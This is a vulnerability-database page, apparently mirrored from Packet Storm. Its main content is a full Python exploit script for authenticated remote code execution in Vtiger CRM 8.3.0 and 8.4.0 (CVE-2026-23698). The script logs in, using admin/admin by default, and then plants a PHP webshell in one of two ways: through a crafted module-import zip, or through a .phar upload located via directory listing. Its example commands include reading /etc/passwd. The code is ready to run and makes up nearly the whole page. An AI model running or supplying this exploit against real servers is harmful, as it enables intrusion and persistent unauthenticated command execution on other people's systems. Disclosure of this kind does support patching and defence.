Lucene search
K

📄 Vtiger CRM 8.3.0 / 8.4.0 Shell Upload

🗓️ 08 Jul 2026 00:00:00Reported by Jiva SecurityType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 9 Views

Authenticated RCE PoC for Vtiger eight three zero and eight four zero with module and phar shells.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-23698
7 Jul 202616:27
githubexploit
ATTACKERKB
CVE-2026-23698
7 Jul 202616:10
attackerkb
Circl
CVE-2026-23698
7 Jul 202619:53
circl
CVE
CVE-2026-23698
7 Jul 202616:10
cve
Cvelist
CVE-2026-23698 Vtiger CRM 8.4.0 Authenticated RCE via Module Import File Upload
7 Jul 202616:10
cvelist
EUVD
EUVD-2026-42054
7 Jul 202616:10
euvd
NVD
CVE-2026-23698
7 Jul 202617:16
nvd
Positive Technologies
PT-2026-56208
7 Jul 202600:00
ptsecurity
Vulnrichment
CVE-2026-23698 Vtiger CRM 8.4.0 Authenticated RCE via Module Import File Upload
7 Jul 202616:10
vulnrichment
#!/usr/bin/env python3
    """
    Vtiger CRM Authenticated RCE PoC
    Tested on:  Vtiger CRM 8.3.0, 8.4.0
    Author: jiva (jivasecurity.com)
    
    
    Two exploit modes:
    
      --mode module  (default)
          Module import drops a PHP shell into the web-accessible modules/ directory.
          No file-type validation on extracted contents.
          Works on all vtiger 8.x installs with admin credentials.
          Shell persists at /modules/<NAME>/shell.php (unauthenticated after install).
    
      --mode phar (verifed against 8.3.0)
          Uploads a .phar webshell via the Documents module, then uses the broken
          storage/.htaccess (Apache 2.2 syntax silently ignored on 2.4) and directory
          listing on /storage/ to locate and execute it.
          Works on wizard-installed instances where 'phar' is absent from upload_badext.
    
    Usage:
      python3 Vtiger-8.4.0-RCE-PoC.py --host 192.168.3.9 --port 8080 --cmd id
      python3 Vtiger-8.4.0-RCE-PoC.py --host 192.168.3.9 --mode phar --cmd whoami
      python3 Vtiger-8.4.0-RCE-PoC.py --host 192.168.3.9 -u admin -p admin --cmd 'cat /etc/passwd'
    """
    
    import argparse
    import datetime
    import io
    import random
    import re
    import string
    import sys
    import zipfile
    
    import requests
    
    requests.packages.urllib3.disable_warnings()
    
    
    def get_csrf(session, url):
        resp = session.get(url, verify=False)
        m = re.search(r'csrfMagicToken\s*=\s*["\']([^"\']+)["\']', resp.text)
        if not m:
            m = re.search(r"name=['\"]__vtrftk['\"] value=['\"]([^'\"]+)['\"]", resp.text)
        if not m:
            sys.exit("[!] CSRF token not found")
        return m.group(1)
    
    
    def login(session, base, username, password):
        csrf = get_csrf(session, f"{base}/index.php")
        resp = session.post(
            f"{base}/index.php",
            data={
                "__vtrftk": csrf,
                "module": "Users",
                "action": "Login",
                "username": username,
                "password": password,
            },
            allow_redirects=True,
            verify=False,
        )
        if "logout" not in resp.text.lower():
            sys.exit("[!] Login failed — check credentials")
        print("[+] Authenticated")
    
    
    def exploit_module(session, base, cmd):
        name = "Mod" + "".join(random.choices(string.ascii_uppercase, k=6))
        manifest = f"""<?xml version="1.0"?>
    <module>
      <name>{name}</name>
      <label>{name}</label>
      <parent>Tools</parent>
      <version>1.0</version>
      <type>module</type>
      <dependencies>
        <vtiger_version>8.0.0</vtiger_version>
        <vtiger_max_version>8.5.0</vtiger_max_version>
      </dependencies>
    </module>"""
        lang = f'<?php $languageStrings = array("{name}" => "{name}"); ?>'
        shell = b'<?php system($_GET["cmd"]); ?>'
    
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
            zf.writestr("manifest.xml", manifest)
            zf.writestr(f"modules/{name}/shell.php", shell)
            zf.writestr(f"languages/en_us/{name}.php", lang)
        buf.seek(0)
    
        csrf = get_csrf(
            session,
            f"{base}/index.php?module=ModuleManager&parent=Settings"
            "&view=ModuleImport&mode=importUserModuleStep1",
        )
    
        # Step 1: Upload the zip (importUserModuleStep2)
        resp = session.post(
            f"{base}/index.php",
            data={
                "__vtrftk": csrf,
                "module": "ModuleManager",
                "moduleAction": "Import",
                "parent": "Settings",
                "view": "ModuleImport",
                "mode": "importUserModuleStep2",
                "acceptDisclaimer": "on",
            },
            files={"moduleZip": (f"{name}.zip", buf, "application/zip")},
            verify=False,
        )
        m = re.search(r'value="(usermodule_\d+\.zip)"', resp.text)
        if not m:
            sys.exit("[!] Module upload failed — check response")
        upload_file = m.group(1)
        print(f"[+] Module uploaded: {upload_file}")
    
        # Step 2: Install (importUserModuleStep3)
        resp = session.post(
            f"{base}/index.php",
            data={
                "__vtrftk": csrf,
                "module": "ModuleManager",
                "parent": "Settings",
                "action": "Basic",
                "mode": "importUserModuleStep3",
                "module_import_file": upload_file,
                "module_import_type": "module",
                "module_import_name": name,
            },
            headers={"X-Requested-With": "XMLHttpRequest"},
            verify=False,
        )
        if '"success":true' not in resp.text:
            sys.exit(f"[!] Module install failed: {resp.text[:300]}")
        print(f"[+] Module installed: {name}")
    
        shell_url = f"{base}/modules/{name}/shell.php"
        out = session.get(shell_url, params={"cmd": cmd}, verify=False).text.strip()
        print(f"[+] Shell (no auth required): {shell_url}?cmd=<command>")
        print(f"\n$ {cmd}")
        print(out)
    
    
    def exploit_phar(session, base, cmd):
        csrf = get_csrf(session, f"{base}/index.php?module=Documents&view=Edit")
    
        resp = session.post(
            f"{base}/index.php",
            data={
                "__vtrftk": csrf,
                "module": "Documents",
                "action": "Save",
                "record": "",
                "notes_title": "report",
                "folderid": "1",
                "assigned_user_id": "1",
                "notecontent": "test",
                "filelocationtype": "I",
                "filestatus": "1",
                "fileversion": "1",
            },
            files={"filename": ("shell.phar", b'<?php system($_GET["cmd"]); ?>', "application/octet-stream")},
            allow_redirects=False,
            verify=False,
        )
        if resp.status_code not in (301, 302):
            print("[!] No redirect after upload — 'phar' may be in the blocklist on this instance")
            print("    Try --mode module instead")
            sys.exit(1)
        print("[+] .phar uploaded")
    
        # Browse directory listing to find the file
        now = datetime.datetime.now()
        week = (now.day - 1) // 7 + 1
        storage_url = f"{base}/storage/{now.year}/{now.strftime('%B')}/week{week}/"
        resp = session.get(storage_url, verify=False)
        m = re.search(r'href="(\d+_[a-f0-9]+\.phar)"', resp.text)
        if not m:
            sys.exit(f"[!] .phar not found in directory listing at {storage_url}\n"
                     f"    Check storage/ manually or try a different week directory")
        shell_url = storage_url + m.group(1)
        print(f"[+] Shell: {shell_url}")
    
        out = session.get(shell_url, params={"cmd": cmd}, verify=False).text.strip()
        print(f"\n$ {cmd}")
        print(out)
    
    
    def main():
        ap = argparse.ArgumentParser(
            description="Vtiger CRM authenticated RCE PoC — ENG-2026-0005",
            formatter_class=argparse.RawDescriptionHelpFormatter,
        )
        ap.add_argument("--host", required=True, help="Target host")
        ap.add_argument("--port", type=int, default=8080, help="Target port (default: 8080)")
        ap.add_argument("-u", "--username", default="admin", help="Username (default: admin)")
        ap.add_argument("-p", "--password", default="admin", help="Password (default: admin)")
        ap.add_argument(
            "--mode",
            choices=["module", "phar"],
            default="module",
            help="module: module import RCE, all installs (default); "
                 "phar: .phar upload, wizard-installed only",
        )
        ap.add_argument("--cmd", default="id", help="Command to execute (default: id)")
        args = ap.parse_args()
    
        base = f"http://{args.host}:{args.port}"
        session = requests.Session()
        session.headers["User-Agent"] = "Mozilla/5.0"
    
        print(f"[*] Target: {base}  mode={args.mode}")
        login(session, base, args.username, args.password)
    
        if args.mode == "module":
            exploit_module(session, base, args.cmd)
        else:
            exploit_phar(session, base, args.cmd)
    
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2026 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.17.2
CVSS 48.6
EPSS0.00867
SSVC
9